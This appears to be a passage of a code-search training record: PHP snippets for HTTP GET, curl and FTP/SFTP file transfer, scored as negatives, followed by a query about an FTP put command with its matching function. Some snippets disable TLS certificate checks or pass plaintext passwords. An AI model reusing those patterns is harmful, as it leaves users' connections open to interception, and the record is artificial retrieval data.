{\r\n\t\t\t return \"Unknown\";\r\n\t\t} else {\r\n\t\t\t $com = \"GET $file HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Language: de-ch\\r\\nAccept-Encoding: gzip, deflate\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\\r\\nHost: $server:$port\\r\\nConnection: Keep-Alive\\r\\n\\r\\n\";\r\n\t\t\t fputs($fp, $com);\r\n\t\t\t while (!feof($fp)) {\r\n\t\t\t\t $cont .= fread($fp, 500);\r\n\t\t\t }\r\n\t\t\t fclose($fp);\r\n\t\t\t $cont = substr($cont, strpos($cont, \"\\r\\n\\r\\n\") + 4);\r\n\t\t\t return $cont;\r\n\t\t}\r\n\t}", "function dcs_dropship_getOrderInvoices()\r\n{\r\n\tglobal $dropshipFTPServer;\r\n\tglobal $dropshipFTPOutDirectory;\r\n\r\n\tdcsLogToFile( \"getOrderInvoices starts.\" );\r\n\t$conn_id = ftp_connect( $dropshipFTPServer );\r\n\t$login_result = ftp_login( $conn_id, get_option(DCS_DROPSHIP_FTP_USER), get_option(DCS_DROPSHIP_FTP_PASSWORD) );\r\n\tdcsLogToFile( \"Login results: \" . $login_result );\r\n\tftp_chdir( $conn_id, $dropshipFTPOutDirectory );\r\n\t$contents = ftp_nlist( $conn_id, \"Order_Invoice_*.tab\" );\r\n\r\n\r\n\tforeach( $contents as $file )\r\n\t{\r\n\t\tif( ftp_get($conn_id, DCS_DROPSHIP_DIR.\"files/\".$file, $file, FTP_BINARY) )\r\n\t\t{\r\n\t\t\tdcsLogToFile( \"Got invoice: \" . $file );\r\n\t\t\tdcs_dropship_loadInvoiceFromFile( $file );\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tdcsLogToFile( \"Get for: \" . $file . \" failed.\" );\r\n\t\t}\r\n\t}\r\n\r\n\tdcsLogToFile( \"getOrderInvoices ends.\" );\r\n}", "abstract public function getRemoteFile($path, $ref = 'master');", "public function request_get($uri, array $options = array()) {\n $options['method'] = 'GET';\n return $this->request($uri, $options);\n }", "function _site($command)\n\t{\n\t\treturn @ftp_site($this->connection, $command);\n\t}", "public function get() {\n try {\n\n /**\n * Set up request method\n */\n $this->method = 'GET';\n /**\n * Process request and call for response\n */\n return $this->requestProcessor();\n\n\n } catch (\\Throwable $t) {\n new ErrorTracer($t);\n }\n }", "public function isGet() :bool\n {\n return $this->getMethod() === 'GET';\n }", "public function get($key){\n\t\treturn $this->callAction('get',array($key));\n\t}", "public function isGet(): bool \r\n {\r\n return $this -> method() === 'GET' ? true : false;\r\n }", "function GET(&$options) \n\t\t{\n\t\t $options[\"path\"] = urldecode($options[\"path\"]);\n\t\t \n\t\t //Parameter des Datastorages laden\n\t\t\t$path_explode = explode(\"/\",$options[\"path\"]);\n\t\t\t$ds_path = substr($options[\"path\"],strlen($path_explode[1])+2);\n\t\t\tif(substr($ds_path,-1)==\"/\")\n\t\t\t\t$ds_path=substr($ds_path,0,-1);\n\t\t\t\n\t\t //Parameter des Datastorages laden\n\t\t\t$ds = getDatastorageByName($path_explode[1],$this->config_appinfos);\n\t\t\tif($ds){\n\t\t\t\t$filedata = $ds->getFile($ds_path);\n\t\t\t\tif($filedata == null){\n\t\t\t\t\t\n\t\t\t\t} elseif($filedata[\"is_dir\"]){\n\t\t\t\t\treturn $this->GetDir($filedata, $options);\n\t\t\t\t}else{\n\t\t\t\t\t$options['stream'] = fopen($filedata[\"tmpfile\"], \"r\");\n\t\t\t\t\t$this->tmp_files[] = $filedata[\"tmpfile\"];\n\t\t\t\t\treturn true;\n\t\t\t\t}\t\t\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn false;\n\t\t}", "public function get ($string){\n\t\t$url = $this->target_server.$string;\n\t\t$result = file_get_contents($url);\n\t\treturn $result;\n\t}", "function curl_get($url, array $get = NULL, array $options = array()) \n{ \n\t$defaults = array( \n CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : ''). http_build_query($get), \n CURLOPT_HEADER => 0, \n CURLOPT_RETURNTRANSFER => TRUE, \n CURLOPT_TIMEOUT => 10 \n\t\t//, CURLOPT_FAILONERROR => true\n ); \n \n\t\t//print '$defaults<br/>';\n //print_r( $defaults);\n\n\t$ch = curl_init(); \n curl_setopt_array($ch, ($options + $defaults)); \n\t$result = curl_exec($ch);\n if($result === false) \n { \n\t\t//print 'curl_error<br/>';\n //print curl_error($ch);\n\t\t//trigger_error(curl_error($ch)); \n\t\tthrow new Exception(curl_error($ch)); \n\t\t\n } \n\t/*\n\tprint 'result<br/>';\n\tvar_dump( $result);\n\tprint 'curl_error<br/>';\n\tprint curl_error($ch);\n\tprint 'END========<br/>';\n\t*/\n curl_close($ch); \n return $result; \n\t\n}", "private function GET() {\n global $_GET;\n $getData = array();\n foreach($_GET as $key => $value) {\n $getData[$key] = $value;\n }\n $this -> response[\"response\"] = $getData;\n return;\n }", "public function get ($url, $headers = null, $options = null);", "public function get() {\n\t\t$this->method('GET');\n\t\treturn $this;\n\t}", "public function isGet()\n {\n return $this->method === self::METHOD_GET;\n }", "function httpGet($url){\n $ch = curl_init();\n\n curl_setopt($ch,CURLOPT_URL,$url);\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);\n// curl_setopt($ch,CURLOPT_HEADER, false);\n\n $output=curl_exec($ch);\n\n curl_close($ch);\n return $output;\n}", "public function isGet() {\n return $this->method == self::METHOD_GET;\n }", "function executeGet($input_form) {\n\t\treturn $this->executePost($input_form);\n\t}", "function get($url, $args = array()) {\n\t\t$defaults = array('method' => 'GET');\n\t\t$r = array_merge( $defaults, $args );\n\t\treturn $this->request($url, $r);\n\t}", "public static function Get($url)\r\n {\r\n return self::doRequest('GET', $url);\r\n }", "public function is_get() {\n return $this->method == 'get';\n }", "public function isGet()\n {\n return $this->isMethod('GET');\n }", "public function isGet()\n {\n return $this->isMethod('GET');\n }", "public function isGet()\n {\n return $this->_getMethod() === \\Yana\\Http\\Requests\\MethodEnumeration::GET;\n }", "public function isGet(): bool\n {\n return $this->method === self::GET;\n }", "protected function get() {\n $subc = \"get_\".$this->sub_collection;\n if ($subc !== null && method_exists($this, $subc)) {\n $this->im_here();\n if ($this->sub_collection == \"users\") {\n $current_users = intval($this->params->number);\n while (1) {\n $this->clear_inactive_users();\n $users = $this->get_users();\n if (sizeof($users) !== $current_users) {\n return $users;\n }else {\n sleep(1);\n }\n }\n }\n return $this->$subc();\n }else {\n $this->write_error(\"Request error!\");\n }\n }", "public function isGet() {\n return $this->method == 'GET';\n }", "public function isGet()\n {\n return $this->getMethod() === 'GET';\n }", "public function isGet()\n {\n return $this->getMethod() === 'GET';\n }", "function sendGetCmd($resource) {\n $url = $this->baseURL . $resource;\n\n $request = curl_init($url);\n curl_setopt($request, CURLOPT_CUSTOMREQUEST, \"GET\");\n curl_setopt($request, CURLOPT_RETURNTRANSFER, true);\n $result = curl_exec($request);\n\n return json_decode($result, true);\n }", "function site($command) {\r\n\t\t$res = @ftp_site($this->_handle, $command);\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpSiteCommandException($command);\r\n\t\t} else {\r\n\t\t\treturn $res;\r\n\t\t}\r\n\t}", "public function isGet(): bool\n {\n return $this->getMethod() === self::METHOD_GET;\n }", "public function isGet() {\n\t\tif ('GET' == $this->getMethod())\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "function getRemoteFile($url)\r\n{\r\n // get the host name and url path\r\n $parsedUrl = parse_url($url);\r\n $host = $parsedUrl['host'];\r\n if (isset($parsedUrl['path'])) {\r\n $path = $parsedUrl['path'];\r\n } else {\r\n // the url is pointing to the host like http://www.mysite.com\r\n $path = '/';\r\n }\r\n\r\n if (isset($parsedUrl['query'])) {\r\n $path .= '?' . $parsedUrl['query'];\r\n }\r\n\r\n if (isset($parsedUrl['port'])) {\r\n $port = $parsedUrl['port'];\r\n } else {\r\n // most sites use port 80\r\n $port = '80';\r\n }\r\n\r\n $timeout = 10;\r\n $response = '';\r\n\r\n // connect to the remote server\r\n $fp = @fsockopen($host, $port, $errno, $errstr, $timeout );\r\n\r\n if( !$fp ) {\r\n appendErrorMessage( sprintf(__(\"Cannot retrieve %s\"),$url));\r\n } else {\r\n // send the necessary headers to get the file\r\n @fputs($fp, \"GET $path HTTP/1.0\\r\\n\" .\r\n \"Host: $host\\r\\n\" .\r\n \"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\\r\\n\" .\r\n \"Accept: */*\\r\\n\" .\r\n \"Accept-Language: en-us,en;q=0.5\\r\\n\" .\r\n \"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\\r\\n\" .\r\n \"Keep-Alive: 300\\r\\n\" .\r\n \"Connection: keep-alive\\r\\n\" .\r\n \"Referer: http://$host\\r\\n\\r\\n\");\r\n//$count = 0;\r\n while (!@feof($fp)) {\r\n $response .= @fread( $fp, 8192);\r\n// $count++;\r\n \r\n }\r\n fclose( $fp );\r\n//$response .= $count;\r\n//why is the above taking so long? how many packets do we get?\r\n\r\n // strip the headers\r\n $pos = strpos($response, \"\\r\\n\\r\\n\");\r\n $response = substr($response, $pos + 4);\r\n }\r\n\r\n // return the file content\r\n return $response;\r\n}", "public function get($_id, $_getDeleted = FALSE) {\n }", "public function GetFTPUser(GetFTPUser $parameters)\n {\n return $this->__soapCall('GetFTPUser', array($parameters));\n }", "function sends_get()\n {\n $search = array();\n $response = FALSE; \n \n $cache = Cache::get_instance();\n $response = $cache::get('send' . serialize($this->_args));\n\n if (!$response) {\n $response['_count'] = $this->model->count_results($this->_args);\n\n if ($response['_count'] > 0)\n {\n $response['data'] = $this->model->fetch($this->_args, TRUE)->result();\n } \n\n $response['l'] = $this->db->last_query(); \n }\n\n $this->response($response);\n }", "protected function doGet()\n {\n }", "public function isGet()\n {\n return $this->getMethod() == 'GET';\n }", "public function isGet()\n {\n return $this->getMethod() === self::METHOD_GET;\n }", "public function get($key)\r\r\n\t{\t\t\r\r\n\t\t$this->get_count++;\t\t\r\r\n\t\treturn $this->_storage->get($key);\t\t\r\r\n\t}", "public function getIsGet()\n {\n return $this->getMethod() === 'GET';\n }", "public function getIsGet()\n {\n return $this->getMethod() === 'GET';\n }", "function doGet($url)\n{\n $return = curlExecute($url);\n return $return;\n}", "public function get( $option );", "private function get($url) {\n\t\t$url = $this->api_url . $url;\n\n\t\t// Open curl.\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\tcurl_setopt($ch, CURLOPT_USERPWD, $this->api_username . \":\" . $this->api_password);\n\t\tcurl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t$output = curl_exec($ch);\n\t\tcurl_close($ch);\n\t\treturn $output;\n\t}", "protected function get($url, $toFile = false)\n {\n if (!extension_loaded('curl')) {\n throw new Exception('Please install php5-curl package.');\n }\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n // this is to get content\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n // add proxy if there is one\n if (strlen(get_config('proxy')) > 0) {\n curl_setopt($ch, CURLOPT_PROXY, get_config('proxy'));\n }\n // disable certificate check\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);\n\n // add user agent\n // http://developer.github.com/v3/#user-agent-required\n curl_setopt($ch, CURLOPT_USERAGENT, \"Elabftw/\" . self::INSTALLED_VERSION);\n\n // add a timeout, because if you need proxy, but don't have it, it will mess up things\n // 5 seconds\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);\n\n // we don't want the header\n curl_setopt($ch, CURLOPT_HEADER, 0);\n\n if ($toFile) {\n $handle = fopen($toFile, 'w');\n curl_setopt($ch, CURLOPT_FILE, $handle);\n }\n\n // DO IT!\n return curl_exec($ch);\n }", "function curlGet($url) {\n\t\t$ch = curl_init();\t// Initialising cURL session\n\t\t// Setting cURL options\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\t$results = curl_exec($ch);\t// Executing cURL session\n\t\tcurl_close($ch);\t// Closing cURL session\n\t\treturn $results;\t// Return the results\n\t}", "public function isGet()\n {\n return ($this->getMethod() == 'GET') ? true : false;\n }", "public function get()\n {\n $this->method = 'GET';\n return $this;\n }", "public function doGet($path = '', array $query = array());", "function getFileContent($db, $file)\n{\n $localFilename = MD5(microtime()) . '.' . $file['extension'];\n $localFilePath = CACHE_PATH . '/' . $localFilename;\n\n // figure out server storage setup\n $storageType = 'local';\n $storageLocation = LOCAL_STORAGE_DEFAULT_PATH;\n $uploadServerDetails = loadServer($db, $file);\n if ($uploadServerDetails != false)\n {\n $storageLocation = $uploadServerDetails['storagePath'];\n $storageType = $uploadServerDetails['serverType'];\n\n // if no storage path set & local, use system default\n if ((strlen($storageLocation) == 0) && ($storageType == 'local'))\n {\n $storageLocation = LOCAL_STORAGE_DEFAULT_PATH;\n }\n\n if ($storageType == 'direct')\n {\n $storageLocation = LOCAL_STORAGE_DEFAULT_PATH;\n }\n }\n\n // use ssh to get contents of 'local' files\n if (($storageType == 'local') || ($storageType == 'direct'))\n {\n // get remote file path\n $remoteFilePath = $storageLocation . $file['localFilePath'];\n\n // first try getting the file locally\n $done = false;\n if ((ON_SCRIPT_INSTALL == true) && file_exists($remoteFilePath))\n {\n \n $done = copy($remoteFilePath, $localFilePath);\n if ($done)\n {\n return $localFilePath;\n }\n }\n\n // try over ssh\n if ($done == false)\n {\n\t\t\t$sshHost = LOCAL_STORAGE_SSH_HOST;\n\t\t\t$sshUser = LOCAL_STORAGE_SSH_USER;\n\t\t\t$sshPass = LOCAL_STORAGE_SSH_PASS;\n\n\t\t\t// if 'direct' file server, get SSH details\n\t\t\t$serverDetails = getDirectFileServerSSHDetails($file['serverId']);\n\t\t\tif($serverDetails)\n\t\t\t{\n\t\t\t\t$sshHost = $serverDetails['ssh_host'];\n $sshPort = $serverDetails['ssh_port'];\n\t\t\t\t$sshUser = $serverDetails['ssh_username'];\n\t\t\t\t$sshPass = $serverDetails['ssh_password'];\n\t\t\t\t$basePath = $serverDetails['file_storage_path'];\n\t\t\t\tif(substr($basePath, strlen($basePath)-1, 1) == '/')\n\t\t\t\t{\n\t\t\t\t\t$basePath = substr($basePath, 0, strlen($basePath)-1);\n\t\t\t\t}\n\t\t\t\t$remoteFilePath = $basePath . '/' . $file['localFilePath'];\n\t\t\t}\n \n if(strlen($sshPort) == 0)\n {\n $sshPort = 22;\n }\n\t\t\t\n // connect to 'local' storage via SSH\n $sftp = new Net_SFTP($sshHost, $sshPort);\n if (!$sftp->login($sshUser, $sshPass))\n {\n output(\"Error: Failed logging into \" . $sshHost . \" (port: \".$sshPort.\") via SSH..\\n\");\n\n return false;\n }\n\n // get file\n $rs = $sftp->get($remoteFilePath, $localFilePath);\n if ($rs)\n {\n return $localFilePath;\n }\n }\n\n return false;\n }\n\n // ftp\n if ($storageType == 'ftp')\n {\n // setup full path\n $prePath = $uploadServerDetails['storagePath'];\n if (substr($prePath, strlen($prePath) - 1, 1) == '/')\n {\n $prePath = substr($prePath, 0, strlen($prePath) - 1);\n }\n $remoteFilePath = $prePath . '/' . $file['localFilePath'];\n\n // connect via ftp\n $conn_id = ftp_connect($uploadServerDetails['ipAddress'], $uploadServerDetails['ftpPort'], 30);\n if ($conn_id === false)\n {\n output('Could not connect to ' . $uploadServerDetails['ipAddress'] . ' to upload file.');\n return false;\n }\n\n // authenticate\n $login_result = ftp_login($conn_id, $uploadServerDetails['ftpUsername'], $uploadServerDetails['ftpPassword']);\n if ($login_result === false)\n {\n output('Could not login to ' . $uploadServerDetails['ipAddress'] . ' with supplied credentials.');\n return false;\n }\n\n // get content\n $ret = ftp_get($conn_id, $localFilePath, $remoteFilePath, FTP_BINARY);\n while ($ret == FTP_MOREDATA)\n {\n $ret = ftp_nb_continue($conn_id);\n }\n }\n\n if (file_exists($localFilePath) && (filesize($localFilePath) > 0))\n {\n return $localFilePath;\n }\n\n return false;\n}", "function file_get_contents_curl($mURL, $mACCESS) {\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_HEADER, 0);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, $mURL);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n curl_setopt($ch, CURLOPT_USERPWD, \"$mACCESS\");\n curl_setopt($ch, CURLOPT_PORT, 80);\n $data = curl_exec($ch);\n curl_close($ch);\n return $data;\n}", "public function isGet()\n\t{\n\t\treturn $this->httpMethod() == self::MethodGet;\n\t}", "public function get() {\n $index_id = $this->path[0] ?? false;\n if (!$index_id) {\n require(HTML . '/locker.php');\n die();\n\n } elseif ($index_id === '_index') {\n // calling /locker/_index pulls a sorted index array\n $data = $this->_get_index();\n\n } else {\n // load the locker data object\n $data = models\\Locker::findOne(['id' => $index_id, 'accountId' => models\\Account::current()->id]);\n }\n\n $this->send($data);\n }", "public function get($ssh_key);", "function serve_remote_request($remote)\n{\n\t$servers=json_decode(file_get_contents(\"../.mypconfig\", true));\n\t$serve=false;\n\tforeach($servers as $server)\n\t{\n\t\tif($server==$remote) $serve=true;\n\t}\n\t\n\tif($serve==true)\n\t{\n\t\tscan();\n\t\t$output=file_get_contents(\"../.mypfiles\", true);\n\t\techo $output;\n\t}\n}", "public function GetFTPAddress(GetFTPAddress $parameters)\n {\n return $this->__soapCall('GetFTPAddress', array($parameters));\n }", "public function get()\n {\n return $this->setMethod(__FUNCTION__)\n ->makeRequest();\n }", "public function eftipi(){\n $ftp_server = \"ftp.**.com\"; \n $conn_id = ftp_ssl_connect($ftp_server); \n\n // login with username and password \n $ftp_user_name = \"**\"; \n $ftp_user_pass = \"**\"; \n $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); \n ftp_pasv($conn_id, true); \n // check connection \n if ((!$conn_id) || (!$login_result)) { \n echo \"FTP connection has failed!\"; \n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n } else { \n echo \"Connected to $ftp_server, for user $ftp_user_name\"; \n } \n\n if (ftp_chdir($conn_id, \"**mx/inventario\")) {\n echo \"\\nCurrent directory is now: \" . ftp_pwd($conn_id) . \"\\n\";\n if (ftp_get($conn_id, 'ideac '.date('d-m-y').'.csv', 'inventario.csv', FTP_BINARY)) {\n echo \"Se ha guardado satisfactoriamente en 'ideac \".date('d-m-y').\".csv'\\n\";\n rename($_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/ideac '.date('d-m-y').'.csv', $_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/Jul/ideac '.date('d-m-y').'.csv');\n } else {\n echo \"Ha habido un problema\\n\";\n }\n } else { \n echo \"Couldn't change directory\\n\";\n }\n\n $buff = ftp_rawlist($conn_id, '.'); \n //var_dump($buff); \n ftp_close($conn_id); \n }", "public function get() {}" ]
[ "0.64487994", "0.6404369", "0.6403412", "0.6162234", "0.6101968", "0.6096089", "0.60621834", "0.58426535", "0.574735", "0.56949997", "0.56859374", "0.5681605", "0.56815165", "0.5620502", "0.5618784", "0.5576322", "0.55507934", "0.5529706", "0.55013704", "0.5434876", "0.54327124", "0.5428109", "0.5426661", "0.5359105", "0.5355068", "0.53473395", "0.5321611", "0.5304152", "0.5271262", "0.52701044", "0.52698547", "0.5266803", "0.5264905", "0.52596474", "0.52549416", "0.52178925", "0.5209023", "0.5198235", "0.5169774", "0.51603997", "0.5157607", "0.51543736", "0.5150082", "0.51441413", "0.51417714", "0.51291865", "0.51262105", "0.5117866", "0.5117204", "0.51108164", "0.5085824", "0.5082584", "0.5082526", "0.50821406", "0.5074204", "0.50674736", "0.5065062", "0.5060607", "0.50508946", "0.50478625", "0.50456053", "0.50456053", "0.5042793", "0.50328535", "0.5031887", "0.5031024", "0.5029701", "0.5029701", "0.50295013", "0.5026424", "0.5023541", "0.5021257", "0.5019479", "0.5017474", "0.50163424", "0.50161886", "0.50125194", "0.5002933", "0.49950594", "0.49906486", "0.4989857", "0.4989857", "0.49859732", "0.49842116", "0.49831352", "0.49829912", "0.49725395", "0.49617648", "0.49542624", "0.49438933", "0.49330947", "0.4923196", "0.49221006", "0.49205473", "0.49191415", "0.49170077", "0.49152538", "0.49107394", "0.4910723", "0.49067703" ]
0.53579867
24
Put executes a put command on the remote FTP server.
public function put($remote, $local, $mode = FTP_ASCII) { if ($this->getActive()) { // Upload the local file to the remote location specified if (ftp_put($this->_connection, $remote, $local, $mode)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function put($remotefile, $localfile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_put($this->_socket, $remotefile, $localfile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!file_exists($localfile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$localfile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$fp = @fopen($localfile, \"r\");\r\n \tif (!$fp) {\r\n \t\t$this->debug(\"Cannot read file \\\"\".$localfile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \tif ($this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Warning : Remote file will be overwritten\\n\");\r\n \t}\r\n \t\r\n \t$this->putcmd(\"STOR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Storing local file \\\"\".$localfile.\"\\\" to remote file \\\"\".$remotefile.\"\\\"\\n\");\r\n \twhile (!feof($fp)) {\r\n \t\tfputs($sock_data, fread($fp, 4096));\r\n \t}\r\n \tfclose($fp);\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function fput($remotefile, $fp, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_fput($this->_socket, $remotefile, $fp, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \tif ($this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Warning : Remote file will be overwritten\\n\");\r\n \t}\r\n \t\r\n \t$this->putcmd(\"STOR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Storing local file to remote file \\\"\".$remotefile.\"\\\"\\n\");\r\n \twhile (!feof($fp)) {\r\n \t\tfputs($sock_data, fread($fp, 4096));\r\n \t}\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function put($local_file, $remote_file, $overwrite = false, $mode = null, $options = 0) {\r\n\t\tif ( $options & (self::PUT_BLOCKING | self::PUT_NONBLOCKING) === (self::PUT_BLOCKING | self::PUT_NONBLOCKING) ) {\r\n\t\t\tthrow new ftpPutOptionsException();\r\n\t\t}\r\n\t\t\r\n\t\t$usenb = !($options & (self::PUT_BLOCKING == self::PUT_BLOCKING));\r\n\t\t\r\n\t\tif ( !isset($mode) ) {\r\n\t\t\t$mode = $this->checkFileExtension($local_file);\r\n\t\t}\r\n\t\t$remote_file = $this->_constructPath($remote_file);\r\n\t\t\r\n\t\tif ( !@file_exists($local_file) ) {\r\n\t\t\tthrow new ftpPutLocalFileDoesNotExistException($local_file);\r\n\t\t}\r\n\t\tif ( (@ftp_size($this->_handle, $remote_file) != -1) && !$overwrite ) {\r\n\t\t\tthrow new ftpPutRemoteFileExistsNoOverwriteException($remote_file);\r\n\t\t}\r\n\t\t\r\n\t\tif ( function_exists('ftp_alloc') ) {\r\n\t\t\tftp_alloc($this->_handle, filesize($local_file));\r\n\t\t}\r\n\t\tif ( $usenb && function_exists('ftp_nb_put') ) {\r\n\t\t\t$res = @ftp_nb_put($this->_handle, $remote_file, $local_file, $mode);\r\n\t\t\twhile ( $res == FTP_MOREDATA ) {\r\n\t\t\t\t$this->notify('nb_put');\r\n\t\t\t\t$res = @ftp_nb_continue($this->_handle);\r\n\t\t\t}\r\n\t\t\r\n\t\t} else {\r\n\t\t\t$res = @ftp_put($this->_handle, $remote_file, $local_file, $mode);\r\n\t\t}\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpPutException(\"File '$local_file' could not be uploaded to '\" . $remote_file . \"'.\");\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function put($localFile, $remoteFile, $url);", "public function executePut()\n {\n throw new Frapi_Error('NO_PUT');\n }", "function _put($from_file, $to_file)\n\t{\n\t\t// get the file extension\n\t\t$file_extension = strtolower(substr(strrchr($to_file, '.'), 1));\n\n\t\t// We only use the BINARY file mode to cicumvent rewrite actions from ftp server (mostly linefeeds being replaced)\n\t\t$mode = FTP_BINARY;\n\n\t\t$to_dir = dirname($to_file);\n\t\t$to_file = basename($to_file);\n\t\t$this->_chdir($to_dir);\n\n\t\t$result = @ftp_put($this->connection, $to_file, $from_file, $mode);\n\t\t$this->_chdir($this->root_path);\n\n\t\treturn $result;\n\t}", "function put() \n {\n \n }", "public function put();", "public function put();", "public function put($remoteFilename, $localFilename, $transferMode = FtpClientConfig::MODE_BINARY) {\n if (false !== $this->connection) {\n return ftp_put($this->connection, $remoteFilename, $localFilename, $transferMode);\n }\n return false;\n }", "public static function put(bool $put)\n {\n static::$put = $put;\n static::$repository = static::$vars = null;\n }", "function PUT(&$options) \n\t\t{\n\t\t\t$options[\"path\"] = urldecode($options[\"path\"]);\n\t\t \n\t\t //Parameter des Datastorages laden\n\t\t\t$path_explode = explode(\"/\",$options[\"path\"]);\n\t\t\t$ds_path = substr($options[\"path\"],strlen($path_explode[1])+2);\n\t\t\tif(substr($ds_path,-1)==\"/\")\n\t\t\t\t$ds_path=substr($ds_path,0,-1);\n\t\t\t\n\t\t //Parameter des Datastorages laden\n\t\t\t$ds = getDatastorageByName($path_explode[1],$this->config_appinfos);\n\t\t\tif($ds){\n\t\t\t\t\t//Dateiupload durchführen\n\t\t\t\t\t$result = $ds->uploadFileStream($options[\"stream\"],$ds_path);\n\n\t\t\t\t\treturn \"\";\n\t\t\t} else {\n\t\t\t\treturn \"403 Forbidden\";\n\t\t\t}\n\t\t\treturn \"403 Forbidden\";\n\t\t}", "public function put($path,$content) ;", "function _put($from_file, $to_file)\n\t{\n\t\t// We only use the BINARY file mode to cicumvent rewrite actions from ftp server (mostly linefeeds being replaced)\n\t\t// 'I' == BINARY\n\t\t// 'A' == ASCII\n\t\tif (!$this->_send_command('TYPE', 'I'))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// open the connection to send file over\n\t\tif (!$this->_open_data_connection())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->_send_command('STOR', $to_file, false);\n\n\t\t// send the file\n\t\t$fp = @fopen($from_file, 'rb');\n\t\twhile (!@feof($fp))\n\t\t{\n\t\t\t@fwrite($this->data_connection, @fread($fp, 4096));\n\t\t}\n\t\t@fclose($fp);\n\n\t\t// close connection\n\t\t$this->_close_data_connection();\n\n\t\treturn $this->_check_command();\n\t}", "public function putAction() {\n\t\t$this->_notImplemented();\n\t}", "function send_put()\n { \n $send = new send($this->put('id'));\n\n $send->date_modified = date('Y-m-d H:i:s');\n $send->modifiedbypk = $this->get_user()->user_id;\n\n $this->response($this->_update_save($send, 'put'));\n }", "function edit_file($file_name, $data)\n{\n \n if (file_put_contents(TEMP_FILE, $data)) {\n \n // login with username and password\n global $conn_id;\n \n // // upload a file\n if ( ! ftp_put($conn_id, REMOTE_FILE, TEMP_FILE, FTP_ASCII)) {\n echo \"There was a problem while uploading\" . TEMP_FILE .\"\\n\";\n return FALSE;\n \n } \n return TRUE;\n }\n \n}", "function put($url, $fields, $headers)\n{\n $ch = curl_init($url); //initialize and set url\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, \"PUT\"); //set as put request\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, 